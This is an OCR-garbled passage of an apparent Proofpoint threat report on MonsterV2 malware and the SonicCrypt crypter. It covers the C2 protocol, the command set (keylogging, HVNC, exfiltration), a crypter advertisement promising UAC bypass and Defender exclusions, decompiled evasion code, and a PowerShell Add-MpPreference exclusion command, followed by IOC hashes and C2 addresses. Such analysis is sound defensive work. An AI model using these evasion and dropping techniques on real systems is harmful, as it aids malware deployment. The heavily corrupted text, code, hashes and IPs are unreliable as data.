geo example “BR” for Brazil
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sian Possibly used along with the “ad” to
9 support authentication and data integrity.
Possibly used to inform the C2 of the data
compression compression methods supported by the
infected system
los | The operating system version |
A unique ID assigned to the infected
uuid system, which is the same as the Mutex
value we discussed previously
The operating system of the infected
0S_name
system
luser_name | The username of the infected system |
lcomputer_name The computer name of the infected system |
i The external IP address of the infected
P system

This data is stored in stack memory as a structure and then later base-64 encoded and sent to the C2
server.

*((_QWORD *)&v51 + 1) = "ip";
v52 = &vilel;
"computer_name”;
&v99;

"user_name”;

&v91;

"os_name”;

&v93;

"uuid”;
(__int64)&vo0 + 4;
"os";

&v90;
"compression”;
&v98[5];

"sign";

&v95;

"geo”;

&v938[10];

"ad";

(LU | | | | | | ([ | B ||

"pk"-;
vo7;
"build_name";
& 89;

"version™;

The struct containing the initial data sent to the C2.

Command & control
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Prior to connecting to the C2, the malware reaches out to api[.]ipify[.]Jorg to get the infected system’s
IP/location and likely as an internet connection test. If this is successful, the malware sends an initial connect
request to its C2. Following this, the malware sends the previously gathered infected system’s information to
the C2 (see Gather System Information section).

Responses from the C2 may be intentionally bloated and can be several megabytes. The C2 responses can
contain command and control instructions to issue commands to the client, or can consist of another payload
(more on this later). Based on code analysis, C2 commands seem to be processed in the following manner:

1. C2 response is received via a raw socket, using the WSARecv Windows API function.

2. The received data is Base64-decoded, decrypted using the ChaCha20 algorithm, and ZLib-
decompressed (similar to the config decryption that we outlined previously).

3. The data is formatted and processed into a JSON-like structure. This structure differs depending on
the command the C2 controller sends, but here is a generalized example of the structure:

"cmd” : <command 1id>,
"flags": {
“flag_1": true,

"flag_2": false,

5

"data”: <payload_data>

The “flags” member may contain various flags or other data related to the command. The “data” member
may contain payload data that supports the command. For example, for the C2 commands related to file
operations, this payload may contain a list of file paths.

4. The processed commands and data are dispatched to a command handler function.

The malware’s command handler function supports a large number of commands from the C2 server. These
commands include, but are not limited to, the following:

¢ Terminate the malware’s process and clean up (delete its files and mutex, etc.)

e Execute infostealer functionality and exfiltrate data to the C2

e Execute an arbitrary command line command (cmd[.]Jexe, PowerShell commands)

e Terminate, suspend, and resume target processes. This potentially could be used for evading endpoint
defenses

e Establish an HVNC connection to the infected system’s system

o Take screenshots of the infected system’s desktop

o Start a keylogger

e Enumerate, manipulate, copy, and exfiltrate files

e Shut down or crash (BSOD) the infected system
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¢ Download and execute another payload

Delivery and loading of additional payloads

Proofpoint witnessed in multiple occasions MonsterV2 loading the StealC V2 infostealer as well as the
Remcos remote access trojan (RAT). This activity was not correlated with TA585, however. Notably with
StealC, the MonsterV2 payloads were configured to use the same C2 server as the dropped StealC
payload.

SonicCrypt crypter details

Proofpoint has observed that MonsterV2 is often packed using SonicCrypt, a crypter written in C++
advertised on forum[.]Jexploit[.]in:

odpecemomansrsn cannoprom. fl npeacrasns Bam HoBsi yposers kpunTos Ane_nwbore Gropuera. Kpunt npeaccrasnser va ssiGop_obus

aBa agMuBRCTRaTOpa ANR PaboTyl, KPUNT NOAAEPEMBAET BO3MOKHOCTE obxoaa UAC
NET dhaiins
w: 32 w 64-Buta

ecc xpunTa 3aruMzeT_He Gonee 30 MMHYT, HO § HCKIOUWTENEHEIX CTYLAAX MOKET AOCTUraTS OTMETKY §_12 4aCcos

+ MNOANEPXUBIKTCA KACTOMUIAUMM KPHUITE ! HKOHKE dect, Assembly Info, pa (namn)

Tapudn:

« Public 508 - CrangapTHuii kpunt daiina. Cta6 paccunTan na 5-7 knnenton, Ges rapantniinore cpoka. i dvn MKoHKa, decr, bly Info, pazaysanue (namn), UAC Bypass
SonicCrypt advertisement.
Here is the translation of the above (provided by Google Translate):

Modern technological crypt with many functions, prompt cleaning and professional support. | present to you
a new level of crypts for any budget. Crypt provides a wide range of functions to choose from:

e Written in modern C++ with a custom source code mutator that allows you to clean signatures in the

blink of an eye
e Support for adding your file to startup
e Support for adding your file to Windows Defender exceptions
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o If your file requires administrator rights to work, the crypt supports the ability to bypass UAC

¢ Runs both native and .NET files

¢ Both bit depths are supported: 32 and 64-bit

e Competent support will help you decide on the choice of configuration for your unique traffic source

¢ The crypt does not cut the percentage of the knockout and does not interfere with the operation of the
encrypted file

e Usually the crypt process takes no more than 30 minutes, but in exceptional cases it can reach 12
hours

e Supported crypt customizations: icon, manifest, Assembly Info, inflation (pump)

Rates:

Public $ 50 - Standard file crypt. Stab is designed for 5-7 clients, without a warranty period. Possible
functionality: icon, manifest, Assembly Info, bloat (pump), UAC Bypass

Private $100 - Private crypt file. The stab is designed for a maximum of 3 people; the warranty period for the
stab, when you can ask for a recrypt, is 4 days. All the advantages of the Public tariff + autorun + Windows
Defender exceptions

Unique $150 - Unique crypt file. The stab is designed for a maximum of 1 person, the warranty period for the
stab is 6 days. All the advantages of Private, but each client receives a unique stab

Malware analysis

SonicCrypt-packed executables are intentionally bloated and therefore contain a lot of junk code, making it
difficult to statically analyze. Across SonicCrypt samples, this code is inconsistent and is likely generated to
evade static detection:

3 = *(float *) 44 + 39 + v1546;
= BLL;
5.m128_f32[@] = v148;
*(double *) 2.m128 u64 = *(double *)v142.ml128 ub4 + 5423
130.m128_f32[@] = 30.m128_f32[@] + *(double *)v142.m128_ub4;
1.m128_f32[@] = v131.ml128_f32[@] + v145 + (float)(vi4s * -0.001);
9 = (__ml28)*(unsigned __int64 *)&X[@];
= 32 + sin(X[@]) * ©.009999999776482582 + (float)( 5 * -0.001);
= OLL;
52.m128_f32[@] = v151;
*(float *)&v1519 = (float)((float)((fleat)((float)(v1i37 + ©.8) + v1545) + 3) + vi1de)

An example of junk code in SonicCrypt-protected binaries.
The general flow of the malware can be seen in the following code examples:

1. Runs initial evasion and environment checks (more on this in a moment).

2. Creates the file where the decrypted payload will be written. The file is named in a similar theme, such
as “WinHealth[.]exe” or “WindowsSecurity[.]Jexe”.

3. The payload is decrypted and written to this file.
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4. In the samples we analyzed, the payload is executed using the task scheduler.

Here are two code examples demonstrating this behavior.

Example 1:
if ( (unsigned __int3)mw_get_process_token_info() )// Get process token info
{
if ( (int)mw_evasion_checks() > 4 ) // Anti-sandbox and other checks
return vG;
mv_decrypt_payload((__int64)&v1514); // Decrypt the payload

strcpy((char *)Src, "WindowsSecurity.exe"); // File name of dropped payload executable

vid >Ly
sub 148085FBe(Dst, Src):
Example 2:

if ( (unsigned _ int8)sub_14@83FF40() )

{
sub_140014100(&v345);

v218 = (unsigned int)_std_fs_code_page();
v356 = @OLL;

51128.m1281i_i64[@] = oLL;

51128.m1281_1i64[1] = 7LL;

LOWORD(Vv356) = @;

v219 = _std_fs_convert_narrow_to_wide(v218, "WinHealth.exe", 13LL, OLL, ©);

Anti-analysis checks

Before decrypting and loading its payload, SonicCrypt runs through several checks, including:

e Checking amount of RAM

e Checks the infected systems’ BIOS manufacturer (in some cases “Genuinelntel” or “AuthenticAMD”)

e Some samples check the BIOS version as well

e Depending on configuration, SonicCrypt may attempt to add the dropped Exe file as a Defender
exclusion.
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= &5rc;
strcpy( 46, “SELECT * from Win32_BIOS");

= (const Lh R *Iv4s;
sub _140@05FBe (- /46);
if ( v49 >= 9x19 )
v31l = (const C "yvas[e];
/47[0] = v31;
/47[1] = (const CHAR *)v48[2];
mw_bios_check(v47, (__int64)&5rc); // Check BIOS info via WMI
if ( v49 >= ex1e )
{
= (void *)vas[e];
i ( V49 + 1 >= 9x1000 )
{
if ( (unsigned _ int64)(v48[0] - 8 - *(_QWC Y(vas[e] - 8)) >= ex2e )
invoke watson(GLL eLL, eLL, e, oLL); If Force crash if check failed
} 33 = *(vc (vas[e] - 8);

A code example of SonicCrypt gathering BIOS data.

After these checks are passed, the crypter decrypts the payload, writes it to a file on disk, and executes the
payload executable via the TaskScheduler COM object (CLSID: CLSID_TaskScheduler). The process
behavior tree will look as follows:

« SonicCrypt_ REEEY Monsterva |

powershell.exe 3604 powershell.exe Add-MpPreference -ExclusionPath )))) + path.wstring() + wide::utf8String ToWstring(std: string_view(std: string(skCrypt(

« svchost.exe 1076 [[Erreaz)
taskhostw.exe 2096 (=== taskhostw.exe {222A2458-E637-4AE9-A93F-AS9CA119A75E}
Windows Security.exe 3844 ZEET) Cc:\Windows\system32\WindowsSecurity.exe

Example MonsterV2 process tree.
Conclusion

TAS585 is a unique threat actor with advanced capabilities for targeting and delivery. As the cybercrime threat
landscape is constantly changing, TA585 has adopted effective strategies for filtering, delivery, and malware
installation. One of its favored payloads is MonsterV2, a malware that may be filling gaps in the criminal
ecosystem following high profile law enforcement disruptions of other malware like Lumma Stealer.
Proofpoint anticipates we will continue to see new malware families emerge, many of which contain a variety
of capabilities baked into one malware.

Proofpoint recommends training users to recognize the ClickFix technique and to prevent non-administrative
users from executing PowerShell.

Emerging Threats rule

2061200 — MonsterV2 Stealer CnC Checkin
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https://threatintel.proofpoint.com/sid/2061200

Indicators of compromise

Indicators Description First
Seen
SHA256:
ccac0311b3e3674282d87db9fb8a151¢c7b11405662159a46dda71039f2200a67 ||MonsterV2
: 2025-
SHA256 file 02-
C2:139.180.160[.]173 hash, C2,
22
and Port
Port: 7712
SHA256:
666944b19c707afaa05453909d395f979a267b28ff43d90d143cd36f6b74b53e MonsterV2
: 2025-
SHA256 file 03-
C2: 155.138.150[.]12 hash, C2, 08
and Port
Port: 7712
SHA256: MonsterV2 .5
7cd1fd7f526d4f85771e3b44f5be064b24fbb1e304148bbac72f95114a13d8c5 SHA256 file 05.-
C2: 83.217.208[.]77: hash, C2, 12
Port: 7712 and Port
SHA256: MonsterV2
0e83e8bfa61400e2b544190400152a54d3544bf31cfec9dda21954a79cf581e9 SHA256 file 2025-
C2: 83.217.208[.]77 05-
hash, C2, 19
Port: 7712 and Port
SHA256: MonsterV?2
d221bf1318b8c768a6d824e79c9e87b488c1ae632b33848b638e6b2d4c76182b SHA256 file 2025-
C2: 91.200.14][.169 05-
hash, C2,
dPort |6
Port: 7712 and Po
SHA256: MonsterV2
69e9c41b5ef6c33b5caff6 7ffd3ad0ddd01a799f7cde2b182df3326417dfb78e SHA256 file 2025-
C2:212.102.255[.]1102 06-
hash, C2,
and Port 02
Port: 7712
SHA256: MonsterV2
6237f91240abdbe610a8201c9d55a565aabd2419ecbeb3cd4fe387982369f4ae SHA256 file 2025
C2: 84.200.154[.]105 — 06 -
hash, C2,
nd Port 09
Port: 7712 a
SHA256: MonsterV2
b36aac2ea25afd2010d987de524f9fc096bd3e1b723d615a2d85d20c52d2a711 SHA256 file 2025-
C2:144.172.117[.]158 06-
hash, C2, 16
Port: 7712 and Port
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SHA256:

912ef177e319b5010a709a1c7 143f854e5d1220d176bc130c5564f5efe8145ed I\SAI?IRSZthrS\ﬁe 2025-
C2: 109.120.137[.]128: e oo (08
, ©2, - log
Port: 7712 and Port
SHA256: MonsterV2
ba72e8024c90aeffbd56cdf2ab9033a323063083bd5df19268978cdedd66214e o\ iarep 1o 2025
C2: 84.200.17[.]240 e Co (08
2 s
Port: 7712 and Port
SHA256: MonsterV2
e7bcd70f0ee4a093461cfb9649552000409dffd3494b692d54618d277cb30% | o noep £l ||2925-
C2: 84.200.77[]213 ek Co (07
, ©2 g
Port: 7712 and Port
SHA256: MonsterV2
399d30771b939065c980a5e680eec6912929b64179bf4c36cefb81d772652da | o nocp 11 |2025-
C2: 79.133.51[.]100 et oo ||09-
2% l01
Port: 7712 and Port
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